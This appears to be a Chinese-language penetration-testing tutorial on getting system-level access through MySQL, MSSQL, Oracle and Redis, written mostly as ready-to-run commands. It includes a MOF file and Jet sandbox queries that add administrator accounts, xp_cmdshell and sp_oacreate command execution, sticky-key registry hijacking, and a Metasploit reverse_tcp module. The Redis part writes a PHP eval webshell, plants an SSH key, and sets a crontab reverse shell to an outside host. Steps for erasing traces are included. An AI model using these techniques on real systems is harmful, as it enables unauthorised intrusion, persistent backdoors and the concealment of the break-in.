数据库提权

数据库

常见数据库端口号

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
MySQL						        3306

SQL Server 1433

Oracle 1521

pointbase 9092

DB2 50000

sybase 5000

postgreSQL 5432

mongoDB 27017

redis 6379

memcached 11211

数据库提权的目的

数据库提权,并不是拿到数据库的root权限,并不是提升数据库用户的权限

而是拿到系统的权限,即system权限

拿到root权限方法

查看配置文件

最主要的方法

通过查看数据库的配置文件,得到root账号的密码

一般配置文件所在文件夹

1
sql data inc config conn database common include

其次就是查看数据库的存储文件或备份文件

存储文件的后缀一般是 myd

查询存储文件位置

1
select  @@basedir as basePath from  dual 

image-20230109155241975

本地脚本爆破

本地爆破脚本网上比较多,一大堆,能不能破解就听天由命咯

远程爆破

这个实现其实不太现实

它需要开放远程连接,但是敏感的root用户基本上是不会开放远程连接的,只能试试

MYSQL提权

UDF(user defined function)提权

介绍

UDF是user defined function的简写,顾名思义是用 用户自定义函数进行提权

用户自定义函数是mysql数据库的一个拓展接口,它支持用户自定义函数的功能

但是自定义的函数,需要以 动态链接 的形式来写出mysql插件,来给mysql使用

1
2
linux的动态链接文件以.so结尾
windows的动态文件以.dll结尾

原理

原理主要是建立在MySQL的func上,官方的定义是:对认证的用户——只要拥有INSERT和DELETE这两个权限的用户,就可以在任意的数据库下面以MySQL创建一个函数,然后用这个函数去攻击数据库来达到我们的目的

mysql通常是使用管理员权限进行配置,我们通过mysql添加函数,执行的命令,自然是高权限

使用条件

  1. 拿到数据库的root权限,且mysql要有system权限

  2. 知道数据库的账号密码

1
2
3
4
5
拿到webshell权限之后,读取网站数据库的
配置文件
存储文件
备份文件
来获取数据库用户的账号密码
  1. 可以远程登陆数据库
1
2
3
默认情况下,数据库是不允许远程登陆的,只允许本地登陆

这种情况,就只能通过拿到本机的高权限rdp远程登录桌面,才能连接
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
mysql数据库的远程连接设置在	/etc/mysql/my.conf
对应设置为 bind-address = 127.0.0.1
只需要把值改为 0.0.0.0

然后给远程登陆的用户赋予权限
新建一个用户
用 % 来允许任意ip登陆
操作如下

新建一个名为admin的账户
grant all on *.* to admin@'%' identified by '123456' with grant option;
刷新配置
flush privileges;

设置root账户可以外连
grant all privileges on *.* to 'root'@'%' identified by '123456' with grant option;
flush privileges;
1
2
3
4
5
6
7
8
9
还可以这样设置远程连接
首先登陆数据库

然后查看user表中的记录
select user,host from user

最后设置任意地址可以连接root
update user set host='%' where user='root';
flush privileges;
  1. mysql有写入文件的权限

通过查看secure_file_priv的值,来确定是否有写入权限

1
select @@secure_file_priv

值为NULL,表示不允许导入导出,无法提权

值为/tmp/,表示只能在tmp目录下导入导出,无法提权

值为空,表示无限制,可以提权

在**my.ini文件里面修改,重启mysql数据库才能生效**

在mysql5.5版本以前secure_file_priv的值默认为空,5.5版本以后默认为NULL

提权操作

  1. 查看数据库版本

Windows的UDF提权是需要分mysql数据库版本的

1
select version();           #查看数据库版本
  1. 判断存放位置

当版本小于5.1

需要把udf.dll放在 C:\windows\system32

当版本大于5.1

需要把udf.dll放在 mysql\lib\plugin,如果没有这个文件夹,就自己创建一个

1
2
3
4
5
select @@basedir           #查看mysql数据库安装位置

show variables like "%plugin%" #查看plugin位置

show variables like "%compile%" #查看数据库是32位还是64位

然后根据版本上传udf.dll文件

  1. 查找dll文件

udf.dll文件是现成有的

在sqlmap和msf里面都有,根据数据库版本使用对应的dll文件即可

1
2
3
4
5
6
7
sqlmap

sqlmap\data\udf\mysql #dll文件路径

sqlmap里面的dll文件,为了防止被误杀,编码过,需要解码
sqlmap自带了解码脚本,在sqlmap\extra\cloak
python3 cloak.py -d -i lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_64.dll #解码
1
2
3
4
5
msf

/usr/share/metasploit-framework/data/exploits/mysql/ #dll文件路径

无需解码,直接使用
  1. 创建自定义函数

创建sys_eval函数

1
2
3
create function sys_eval returns string soname 'udf.dll文件名字';   #创建函数

select * from func; #查看函数是否创建成功

利用sys_eval函数执行命令

1
select sys_eval('whoami');

总结

总的来说,最终目的就是

利用udf.dll文件来创建自定义函数

前提是我们可以远程连接数据库,且有一定的权限

还需要注意的是,如果要删除udf文件,首先记得删除函数,再删除文件,不然后续创建可能会起冲突

MOF提权

手工提权

原理

Windows的这个目录下的 nullevt.mof文件

该文件每隔一段时间就会去执行一次

1
c:/windows/system32/wbem/mof/

适用条件

只适用于低版本的Windows

xp和server2003

对c:/windows/system32/wbem/mof/ 有写权限

提权操作

  1. 找到一个拥有可写权限的目录上传mof文件

文件内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#pragma namespace("\\\\.\\root\\subscription") 

instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};

instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin123!@# /add\")";
};

instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};

  1. 将该mof文件复制到c:/windows/system32/wbem/mof/
1
select  load_file("C:/phpstudy/WWW/add_admin.mof")  into  dumpfile  "C:/WINDOWS/system32/wbem/mof/add_admin.mof"

然后就等待,过一会系统就会自己执行该文件

然后就添加了admin账户

net user查看,发现管理员组多了admin这个账户

痕迹清理

  1. 关闭 winmgmt 服务
  2. 删除mof文件
1
2
3
4
5
6
7
8
9
10
# 停止 winmgmt 服务
net stop winmgmt
# 删除 Repository 文件夹
rmdir /s /q C:\Windows\system32\wbem\Repository\
# 手动删除 mof 文件
del C:\Windows\system32\wbem\mof\good\test.mof /F /S
# 删除创建的用户
net user hacker /delete
# 重新启动服务
net start winmgmt

总结

在低版本的Windows 2003中,向mof文件夹里面写入特殊的mof文件,即可提权

手动MOF提权的缺点是痕迹清理比较麻烦

利用MSF进行MOF提权

提权操作

这个就更简单了,直接利用msf的模块

1
2
3
4
5
6
use exploit/windows/mysql/mysql_mof
set payload windows/meterpreter/reverse_tcp
set rhosts 192.168.10.17
set username root
set password root
run

也是需要知道数据库高权限用户的,用户名和密码

总结

msf的mysql提权,提权之后,msf会自动进行痕迹清理

方便高效

启动项提权

原理

windows系统开机时会自动启动一些程序

这些程序是system启动的,所以这些程序都是拥有system权限的

主要思路就是向启动项中写入脚本,bat或vbs都可

利用mysql数据库写入,只是其中一种方法

详细在启动项提权里面

MSSQL提权

MSSQL数据库安装

以2008r2数据库为例

下载数据库文件,以管理员身份运行setup

image-20230113121335871

选择安装

image-20230113121519051

然后一直默认直到,功能全选,目录默认

image-20230113122140067

直到,配置选择system权限

image-20230113122419065

选择混合模式,添加密码,添加当前账户

image-20230113122611060

image-20230113122713250

然后一直默认下一步,就行,然后就安装完成

MSSQL数据库使用

找到 SQL Server Management Studio

MSSQL数据库的管理员默认为   sa

密码即为我们刚才设置的

image-20230113123745137

连接即可使用

xp_cmdshell提权

原理

xp_cmdshell是数据库中可以执行系统命令的组件,可以利用该组件运行系统命令

xp_cmdshell是数据库系统存储过程,高权限的存储过程可以遍历和执行命令,xp_cmdshell就是可以任意执行系统命令的存储过程

范围

xp_cmdshell在MSSQL2005之后是关闭的

但是

只要拥有数据库高权限,是可以手动开启的

1
2
3
4
EXEC sp_configure 'show advanced options', 1            
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

操作

首先用高权限用户连接数据库,默认是可以远程连接的

image-20230113130828175

连接成功

image-20230113130951367

首先是查看是否存在xp_cmdshell,因为它是有可能被删除

1
select count(*)from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell';    #返回1则存在

删除之后,也是可以恢复的

1
2
exec master.sys.sp_addextendedproc 'xp_cmdshell', 'C:\Program Files\Microsoft SQL
Server\MSSQL\Binn\xplog70.dll'

然后就是启用xp_cmdshell

1
2
3
4
EXEC sp_configure 'show advanced options', 1;    #允许修改高级参数
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; #开启xp_cmdshell
RECONFIGURE;

未开启

image-20230113131903948

开启

image-20230113132031880

关闭xp_cmdshell命令

1
2
3
4
exec sp_configure 'show advanced options', 1;
reconfigure;
exec sp_configure 'xp_cmdshell', 0;
reconfigure;

开启之后,就可以用xp_cmdshell执行命令,此时是以system权限执行命令的

1
EXEC master.dbo.xp_cmdshell '命令'

image-20230113132125346

提权成功

总结

总的来说,这种提权方式,就是用xp_cmdshell来执行命令

所有的操作都是围绕开启xp_cmdshell这个组件来展开的

sp_oacreate提权

原理

sp_oacreate用来调用OLE对象,利用OLE对象的run方法执行系统命令

条件

数据库本身具有高权限,因为需要调用COM组件

大多用于xp_cmdshell组件被删除,不能使用xp_cmdshell方法

操作

首先还是查看sp_oacreate组件是否启用

1
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'whoami';

打开组件

1
2
3
4
EXEC sp_configure 'show advanced options', 1;       
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;

因为使用sp_oacreate组件执行命令时,是没有回显的

1
2
3
4
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod
@shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\1.txt'

#把结果保存到了 c:\\1.txt

把结果保存到文档里面,就可以读取了

image-20230113152811330

没有任何回显

image-20230113152916704

具有system权限

提权成功

总结

思路方法大致和xp_cmdshell差不多,就是调用sp_oacreate组件来执行命令

但是没有回显,不方便

还是优先使用xp_cmdshell来实现

沙盒提权

原理

沙盒模式是数据库的一种安装机制

开启沙盒模式时,只对控件和字段属性中的安全且不含恶意代码,才能执行

简而言之,就是不能执行恶意代码

操作

首先得知道,控制沙盒模式的参数 SandBoxMode

1
2
3
4
`0`:在任何所有者中禁止启用安全模式
`1`:为仅在允许范围内
`2`:必须在access模式下
`3`:完全开启

我们需要做的就是关闭沙盒模式,然后执行代码

用xp_regwrite这个存储这个存储过程对注册表进行写操作,关闭沙盒模式

1
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0

image-20230113161625252

如果执行失败,应该是没有打开允许修改高级参数,打开后应该时可以关闭沙盒模式的

1
2
exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure;

查询是否关闭沙盒模式,但是经过测试发现,无论是否关闭,好像都是不影响我们执行语句的

1
2
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines',
'SandBoxMode'

image-20230113161656995

关闭成功

添加管理员用户

1
2
3
4
5
select * from
openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net user margin margin /add")')

select * from
openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net localgroup administrators margin /add")')

然后就成功了

痕迹清理

1
2
3
4
5
6
7
8
9
10
11
12
#删除用户
select * from
openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net user margin margin /del")')

#打开沙盒
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1;

#关闭高级设置修改
exec sp_configure 'Ad Hoc Distributed Queries',0;
reconfigure;
exec sp_configure 'show advanced options',0;
reconfigure;

总结

沙盒提权,其实就是,关闭沙盒模式,来执行敏感语句

JOB提权

原理

通过创建应该任务,来执行命令

操作

首先开启sqlagent服务

1
exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT';

然后添加任务

1
2
3
4
5
use msdb

exec sp_delete_job null,'x'

exec sp_add_job 'x'

通过任务来执行命令,将结果保存在 c:/1.txt

1
2
3
4
5
exec sp_add_jobstep null,'x',null,'1','cmdexec','cmd /c "ipconfig>c:/1.txt"'

exec sp_add_jobserver null,'x',@@servername

exec sp_start_job 'x';

image-20230113165411396

任务启动成功

image-20230113165441060

命令执行成功

镜像劫持提权

原理

通过使用xp_regwrite存储过程对注册表进行修改,替换成任意值,造成镜像劫持

条件

首先需要数据库对注册表有写权限

其次就是xp_regwrite组件启用

操作

首先就是查看,xp_regwrite是否开启

1
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_regwrite'

image-20230113172155099

发现已经开启

开启xp_regwrite

1
2
3
4
EXEC sp_configure 'show advanced options', 1
RECONFIGURE
EXEC sp_configure 'xp_regwrite',1
RECONFIGURE

然后就可以劫持注册表来执行命令了,以连按5次粘滞键,弹出cmd框为例子

1
EXEC master..xp_regwrite @rootkey='HKEY_LOCAL_MACHINE',@key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.EXE',@value_name='Debugger',@type='REG_SZ',@value='c:\windows\system32\cmd.exe'

查看是否成功

1
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','Debugger'

image-20230113172319349

对应值正确

image-20230113172406442

成功

删除连按5次粘滞键,弹出cmd框

1
xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe'

开启3389端口

1
2
3
4
5
exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;

exec master..xp_cmdshell "REG ADD 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server' /v fDenyTSConnections /t REG_DWORD /d 0"

#一定要打开xp_cmdshell

image-20230113172939766

成功

总结

镜像劫持的本质,其实就是通过xp_regwrite组件来修改注册表,从而开启一些设置

MSSQL提权总结

提权手段,大多都是通过mssql数据库的组件,基于mssql数据库本身具有的高权限,从而达到高权限执行命令

比较好用的是,沙盒提权JOB提权

其他的提权手段,是会被360等劫持的

ORACLE

介绍

oracle数据库是比较特殊的数据库

它是和jsp进行搭建,jsp脚本的特性,导致不需要提权,生成后门,就是system权限

它有三种提权模式

1
2
3
4
5
普通用户模式

dba用户模式

注入模式

操作

直接使用工具就行

1
2
3
[oracle提权执行命令工具oracleShell v0.1]

https://github.com/jas502n/oracleShell

Redis

介绍

redis数据库,是一个开源的数据库

使用ANSI C语言编写

提供多种语言的API

搭建redis数据库

安装redis数据库

1
2
3
4
wget http://download.redis.io/releases/redis-3.2.5.tar.gz
tar xzf redis-3.2.5.tar.gz
cd redis-3.2.5
make

设置远程访问

1
2
3
4
5
6
7
8
9
vim redis.conf

bind 127.0.0.1前面加上#号 或者设置为 0.0.0.0 支持其他ip地址访问

保护模式:protected-mode改为no,否则无法远程连接

设置后台运行:daemonize yes

密码:修改requirepass xxxxx(你的密码)

端口发放

首先需要去服务器开放6379端口

还需在本地设置

1
2
3
4
5
6
7
8
9
10
11
12
firewall-cmd --query-port=6379/tcp
如果返回结果为no,那么证明6379端口确实没有开启。


输入
firewall-cmd --add-port=6379/tcp
将6379端口开启,返回success


再次查询端口是否开放
firewall-cmd --query-port=6379/tcp
返回结果为yes

启动数据库

1
./src/redis-server  redis.conf

redis数据库基本命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
连接数据库
redis-cli -h 192.168.63.130


查看一些具体信息
192.168.63.130:6379>info


将变量x设置为text
192.168.63.130:6379>set x "test"


查看所有键
192.168.63.130:6379>KEYS *


获取默认的redis目录、和rdb文件名:可以在修改前先获取,然后走的时候再恢复
192.168.63.130:6379>CONFIG GET dir
192.168.63.130:6379>CONFIG GET dbfilename


删除整个数据库
192.168.63.130:6379>flushall


启动Redis服务可以执行:
service redisd start


关闭服务
service redisd stop


重启服务
service redisd restart


在控制台进入redis客户端
redis-cli


尝试远程连接

image-20230114153932963

提权条件

如果redis数据库配置不当,就会导致未授权访问漏洞

1
redis数据库允许任意ip访问,并且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略

否则就无法连接

1
没有设置密码认证(默认为空),可以免密码远程登录数据库

如果设置了密码,是可以连接的,但是无法执行命令

image-20230114161310186

这里连接成功,但是执行操作,需要密码认证

写入webshell提权

首先连接

然后在目录里面创建文件,写入webshell

1
2
3
4
5
6
7
config set dir /var/www/html/                #一般网站目录

config set dbfilename shell.php #创建shell文件

set x "\r\n\r\n<?php eval(@$_POST['a']); ?>" #redis写入文件的会自带一些版本信息,\r\n\r\n是换行的意思

save

image-20230114163230964

去服务器查看

image-20230114163300780

创建成功

此时就可以用蚁剑连接了

SSH登录提权

提权条件

1
在主机是root用户的条件下,启动的redis数据库
1
2
3
服务器开放了SSH服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器

服务端存在.ssh目录并且有写入的权限

操作

本地生成公钥

1
ssh-keygen -t rsa

image-20230114180000255

进入.ssh目录,保存密钥到key.txt

1
2
3
cd ~/.ssh

(echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n")>key.txt

将保存的公钥写入数据库

1
cat /root/.ssh/key.txt | redis-cli -h 靶机ip地址 -x set pub        #命名为pub

查看是否写入成功

1
get pub

image-20230114180847597

设置路径、文件名

1
2
3
4
5
config set dir  /root/.ssh

config set dbfilename authorized_keys 

save

然后就可以ssh远程连接了

1
2
3
4
5
ssh ip地址

或者

ssh -i id_rsa root@ip地址

image-20230114202521056

成功

这最后一步ssh连接我卡了半天

首先我们要知道的是 PermitRootLogin 这个参数

1
2
3
4
5
PermitRootLogin如果不设置,默认是yes,也就是root可以登录

如果设置without-password 那么root可以登录,但是不允许通过密码ssh登陆
如果设置no, root不许登陆
如果设置forced-commands-only,则可以登录,但是登陆后不能进入交互,而是执行指定的命令后 自动退出

这个参数在阿里云服务器默认是no,在腾讯云默认yes

该参数位置在

1
/etc/ssh/sshd_config

另一个需要注意的点是

我们需要在攻击机的 /root/.ssh 目录下执行命令,否则不会成功

总结

shh登陆提权的要点是

首先就是需要开启ssh连接,对/root/.ssh目录有写权限

还有就是数据库没有设置密码,否则我们是写不进去的

还有就是个人觉得比较重要的就是,在主机是root用户的条件下,启动的redis数据库(电脑用户是root,并不是说redis数据库是root用户)

我们最终获得的权限,就是打开数据库那个用户的权限,如果权限比较低,用这种方法提权,就没有必要

crontab计划任务提权

原理

在数据库中插入一条数据,将计划任务的内容作为value,key值随意,然后通过修改数据库的默认路径为目标主机计划任务的路径,把缓冲的数据保存在文件里,这样就可以在服务器端成功写入一个计划任务进行反弹shell。

操作

1
2
3
4
5
redis-cli -h 192.168.244.128 -p 6379
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.232.129/1111 0>&1\n\n"
config set dir /var/spool/cron/crontabs/
config set dbfilename root
save

然后开启nc监听

1
nc -nlvp 1111

最后过一会就能收到监听

我是用ubuntu测试的,无法成功,只能用centos

原因

1
2
3
4
5
6
7
因为默认redis写文件后是644的权限,但ubuntu要求执行定时任务文件/var/spool/cron/crontabs/权限必须是600也就是-rw-------才会执行,否则会报错(root) INSECURE MODE (mode 0600 expected),而Centos的定时任务文件/var/spool/cron/权限644也能执行

因为redis保存RDB会存在乱码,在Ubuntu上会报错,而在Centos上不会报错

由于系统的不同,crontrab定时文件位置也会不同
Centos的定时任务文件在/var/spool/cron/
Ubuntu定时任务文件在/var/spool/cron/crontabs/
查看评论